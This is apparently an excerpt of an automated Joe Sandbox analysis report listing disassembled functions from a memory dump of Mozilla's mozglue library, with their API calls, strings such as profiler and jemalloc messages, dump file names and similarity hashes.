Part of subcall function 6C5694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5694EE
Part of subcall function 6C5694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C569508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C56F3CF

Part of subcall function 6C56F070: GetCurrentThreadId.KERNEL32 ref: 6C56F440
Part of subcall function 6C56F070: AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F44D
Part of subcall function 6C56F070: ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C56F4A8
GetCurrentThreadId.KERNEL32 ref: 6C56F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56F561
GetCurrentThreadId.KERNEL32 ref: 6C56F577
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F585
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C56F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C56F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C56F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C56F56A

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: e85cd6e3ce66d8046a2d4912913fff33a1b4531105515c7b79e75ac3b0f49511
Instruction ID: 4ce9b4b51b30b043696d81cc0db3eed8b449a83c2d0c8ea12e97eaba8e74fece
Opcode Fuzzy Hash: e85cd6e3ce66d8046a2d4912913fff33a1b4531105515c7b79e75ac3b0f49511
Instruction Fuzzy Hash: D9D1F831A04204DFDB10AFABEC0479D7BF4EB86328F16471AE95543F91DB719809C7AA

Function 6C5364C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5364DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5364F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C536505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C536518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C53652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C53671C
GetCurrentProcess.KERNEL32 ref: 6C536724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C53672F
GetCurrentProcess.KERNEL32 ref: 6C536759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C536764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C536A80
GetSystemInfo.KERNEL32(?), ref: 6C536ABE
__Init_thread_footer.LIBCMT ref: 6C536AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C536798
_etoured.dll, xrefs: 6C5364ED
nvd3d9wrap.dll, xrefs: 6C536500
nvdxgiwrap.dll, xrefs: 6C536513
detoured.dll, xrefs: 6C5364DA
user32.dll, xrefs: 6C536526

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: b52a15ace5b2314cd50de4cfd39e99840e3341fd303ee2e586dc1dc5d961419c
Instruction ID: 7e8283d1bd3fb1a710bdf3bb77e9673c9dab01c09ebe90b3dd6a2eeb761c8d83
Opcode Fuzzy Hash: b52a15ace5b2314cd50de4cfd39e99840e3341fd303ee2e586dc1dc5d961419c
Instruction Fuzzy Hash: 5DF1DE71905329DFCB20CF65CC88B9AB7B4BF46318F155299E80DA7641EB31AE84CF91

Function 6C54D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C54D904
LeaveCriticalSection.KERNEL32(?), ref: 6C54D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C54D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C54E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C54E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C54E315
AcquireSRWLockExclusive.KERNEL32(6C5AE804), ref: 6C54E37C
GetSystemInfo.KERNEL32(?), ref: 6C54E3C7
__Init_thread_footer.LIBCMT ref: 6C54E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5AE810,00000040), ref: 6C54E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE7B8,00001388), ref: 6C54E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE744,00001388), ref: 6C54E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE784,00001388), ref: 6C54E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE7DC,00001388), ref: 6C54E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE768,00001388), ref: 6C54E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C54E52E
ReleaseSRWLockExclusive.KERNEL32(6C5AE804), ref: 6C54E54F

Part of subcall function 6C53D960: EnterCriticalSection.KERNEL32(?), ref: 6C53D999
Part of subcall function 6C53D960: EnterCriticalSection.KERNEL32(6C5AE7B8), ref: 6C53DA13

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C54E621
MOZ_CRASH(), xrefs: 6C54E62B
<jemalloc>, xrefs: 6C54E61C, 6C54E6CC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C54E560, 6C54E58A, 6C54E5A5
: (malloc) Unsupported character in malloc options: ', xrefs: 6C54E6DD
MALLOC_OPTIONS, xrefs: 6C54E3FF

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: a486609f569c2bcbbc90d99e9c4c6819f97c2720d89b555d7043fc9691d3eb84
Instruction ID: b65cffda6a3a2183433d20aa8b517babd473e4f8204a204446a4a33978f16026
Opcode Fuzzy Hash: a486609f569c2bcbbc90d99e9c4c6819f97c2720d89b555d7043fc9691d3eb84
Instruction Fuzzy Hash: C8927971A056118FD714CF29C880619FBE1BF8A728F29C66DE8698B791D7B1E841CBC1

Function 6C58C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C58C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C58C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C58C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C58C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C58C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C58CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C58CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C58DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C58DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C58DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C58DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C58DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C58E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C58E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C58E472

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 41f210415cfe0a056d10302d65f44746cc0a6beeb68cbed81f62bb5d70947228
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: AC33A071E0122ACFCB04CF98C8806EDBBF2FF89310F29466AD955AB755D731A945CB90

Function 6C54ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C54EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C54EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C551695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5516B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C551770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C551A3E

Strings

~qRl, xrefs: 6C54ED13
~qRl, xrefs: 6C54ED10

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qRl$~qRl
API String ID: 3693777188-1408623857
Opcode ID: 5ee7b605c3d2053b20a2cbfffb882e91a971addb5a0af6232d0bc7e8acbc7a95
Instruction ID: d428421b4427cf418add61cee77b715fa6d09b98154030d4221740993f10f8ec
Opcode Fuzzy Hash: 5ee7b605c3d2053b20a2cbfffb882e91a971addb5a0af6232d0bc7e8acbc7a95
Instruction Fuzzy Hash: 71B31B71E04219CFCB14CFA8C890A9DB7B2FF89304F5582AAD459AB745D730AD96CF90

Function 6C53FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5AE7B8), ref: 6C53FF81
LeaveCriticalSection.KERNEL32(6C5AE7B8), ref: 6C54022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C540240
EnterCriticalSection.KERNEL32(6C5AE768), ref: 6C54025B
LeaveCriticalSection.KERNEL32(6C5AE768), ref: 6C54027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C540D67, 6C540D7B, 6C540DAC
<jemalloc>, xrefs: 6C540D62, 6C540D76, 6C540DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C53FE99, 6C53FEB7, 6C53FED3, 6C540DB8, 6C540DD3, 6C5419B4

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: c4fa84a56f300191010eacf54b03426239dbf3948c9434c1bbb5bf1069017e66
Instruction ID: 362ecc28a4547b52965a527c5b60c5b04050e86f93b9be9c9cb1a52366a4d9ea
Opcode Fuzzy Hash: c4fa84a56f300191010eacf54b03426239dbf3948c9434c1bbb5bf1069017e66
Instruction Fuzzy Hash: 31C28D71A057418FD714CF29C98071ABBE1BFC5328F28CA6EE8698B795D771E841CB81

Function 6C58E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C58E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C58EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C58EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C58EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C58F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C58F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C590E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C590E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C590EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C590ED4

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e1d36af41910a0b120d6e5e95846f05f7aab172599be634b7e2b9b2e97da12d4
Instruction ID: d36ff7034a8eee997dba2897d620ec814c3980dc49476be1aafe57c4290e4b68
Opcode Fuzzy Hash: e1d36af41910a0b120d6e5e95846f05f7aab172599be634b7e2b9b2e97da12d4
Instruction Fuzzy Hash: F9638F71E0125ACFCB04CFA8C8906DDFBB2FF89310F29866AD855AB755D730A945CB90

Function 6C563E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C587770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Vl,?,?,?,6C563E7D,?,?), ref: 6C58777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C563F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C563F5C
VerSetConditionMask.NTDLL ref: 6C563F8D
VerSetConditionMask.NTDLL ref: 6C563F99
VerSetConditionMask.NTDLL ref: 6C563FA0
VerSetConditionMask.NTDLL ref: 6C563FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C563FB4

Strings

nvinit.dll, xrefs: 6C564479
nvd3d9wrap.dll, xrefs: 6C564466
C>Vl, xrefs: 6C563E93

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Vl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-1015670069
Opcode ID: de6228f152532d8f5526808eecaebebca320c544086bb77d573df891b3508e80
Instruction ID: f630964697fd3d16e3cef8667ac2c9193c22d638b67baf6c7004dbd011610150
Opcode Fuzzy Hash: de6228f152532d8f5526808eecaebebca320c544086bb77d573df891b3508e80
Instruction Fuzzy Hash: CF520372610B988FDB10DF35CD90AABB7E9AF85304F44496DD4968BB42DB34F909CB60

Function 6C53FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5AE7B8), ref: 6C53FF81
LeaveCriticalSection.KERNEL32(6C5AE7B8), ref: 6C54022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C540240
EnterCriticalSection.KERNEL32(6C5AE768), ref: 6C54025B
LeaveCriticalSection.KERNEL32(6C5AE768), ref: 6C54027B

Strings

MOZ_CRASH(), xrefs: 6C540CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C53FE99, 6C53FEB7, 6C53FED3, 6C540DB8, 6C540DD3, 6C5419B4, 6C541A10

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 4e7ab32f582d2d27f67f5f9aeb0752ffa0952485990b10a415abb86e03bf5052
Instruction ID: 44d27160bd5afd346b373db1a20d0c7a9e4c5cbbf6629a74044fc952719fb5e7
Opcode Fuzzy Hash: 4e7ab32f582d2d27f67f5f9aeb0752ffa0952485990b10a415abb86e03bf5052
Instruction Fuzzy Hash: 53B2CF716057418FD718CF29C990716BBE1BF89328F28CA6DE86A8F795D770E850CB81

Function 6C575600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C576131
ProfileBuffer parse error: %s, xrefs: 6C575AC8, 6C575CBB
name, xrefs: 6C575E79, 6C575E8F
expected a Time entry, xrefs: 6C575CB6
expected a Count entry, xrefs: 6C575AC3
schema, xrefs: 6C57606D

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 0edf82e5b5f2f57ba9456f01593eee02e56b0782e8c81bafcfb4aa6b8fd13fc2
Instruction ID: 81213fa51aebc41080e2e690951f591c6d0e8419325347d9e46ba025981a2095
Opcode Fuzzy Hash: 0edf82e5b5f2f57ba9456f01593eee02e56b0782e8c81bafcfb4aa6b8fd13fc2
Instruction Fuzzy Hash: 29923B71A08341CFD724CF29C89079AB7E1BFC9308F55891DE59A9B751DB30E849CBA2

Function 6C537810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5AE744), ref: 6C537885
LeaveCriticalSection.KERNEL32(6C5AE744), ref: 6C5378A5
EnterCriticalSection.KERNEL32(6C5AE784), ref: 6C5378AD
LeaveCriticalSection.KERNEL32(6C5AE784), ref: 6C5378CD
EnterCriticalSection.KERNEL32(6C5AE7DC), ref: 6C5378D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5378E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C53795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5379BB
LeaveCriticalSection.KERNEL32(?), ref: 6C537BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C537C82
LeaveCriticalSection.KERNEL32(6C5AE7DC), ref: 6C537CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C537DAF

Strings

DZl, xrefs: 6C53789F
DZl, xrefs: 6C53787F

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DZl$DZl
API String ID: 759993129-377125679
Opcode ID: 65644fe7707d6a40910800c4503289bfc96ba361d026c8b3d7ca5d8ec7f50fe2
Instruction ID: d9e85c92f73609b136ab15906d11d9028ec01d5bde5f6fbc34422ef4324fd7f6
Opcode Fuzzy Hash: 65644fe7707d6a40910800c4503289bfc96ba361d026c8b3d7ca5d8ec7f50fe2
Instruction Fuzzy Hash: 3D025E31E01229CBDB54CF19C984799B7B5FF88358F2592AAD80DA7611E730AE91CF80

Function 6C572E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C572ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C572EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C572F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C573214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C573242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5736BF

Strings

set , xrefs: 6C5736EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C57378D
get , xrefs: 6C573205

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 19ed06210bf7e34998f7e57e192fb10898c4cdfed7825c34ba38b0cd3303e6d5
Instruction ID: fed959cd17dd59f3ffe2118334510d261a4ea701af5176a0ed31c30530d6f817
Opcode Fuzzy Hash: 19ed06210bf7e34998f7e57e192fb10898c4cdfed7825c34ba38b0cd3303e6d5
Instruction Fuzzy Hash: 1A3240B0608381CFD724CF24C890A9EB7E2AFC9318F548D5DE59987751DB31D98ACB62

Function 6C567E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C568280, 6C5683E1
(pre-xul), xrefs: 6C567E88
name, xrefs: 6C567ECF, 6C568335
vZl, xrefs: 6C568207
schema, xrefs: 6C5681E3, 6C568311

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vZl
API String ID: 3412268980-3543372430
Opcode ID: be84b0d9a892572dca79fc626c1fd4759a61a081869009b061a51a0a70e2e2f5
Instruction ID: e30a77c1a1b47d2c55563b12e4293ccabf62ec33c026bf1e66f2df49d61159c4
Opcode Fuzzy Hash: be84b0d9a892572dca79fc626c1fd4759a61a081869009b061a51a0a70e2e2f5
Instruction Fuzzy Hash: F8E19DB1A04354CBC710CF698C4065BFBEABBD5314F148A2DE899DB790EBB0DD098B91

Function 6C585FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C586009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C586024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QRl,?), ref: 6C586046
OutputDebugStringA.KERNEL32(?,QRl,?), ref: 6C586061
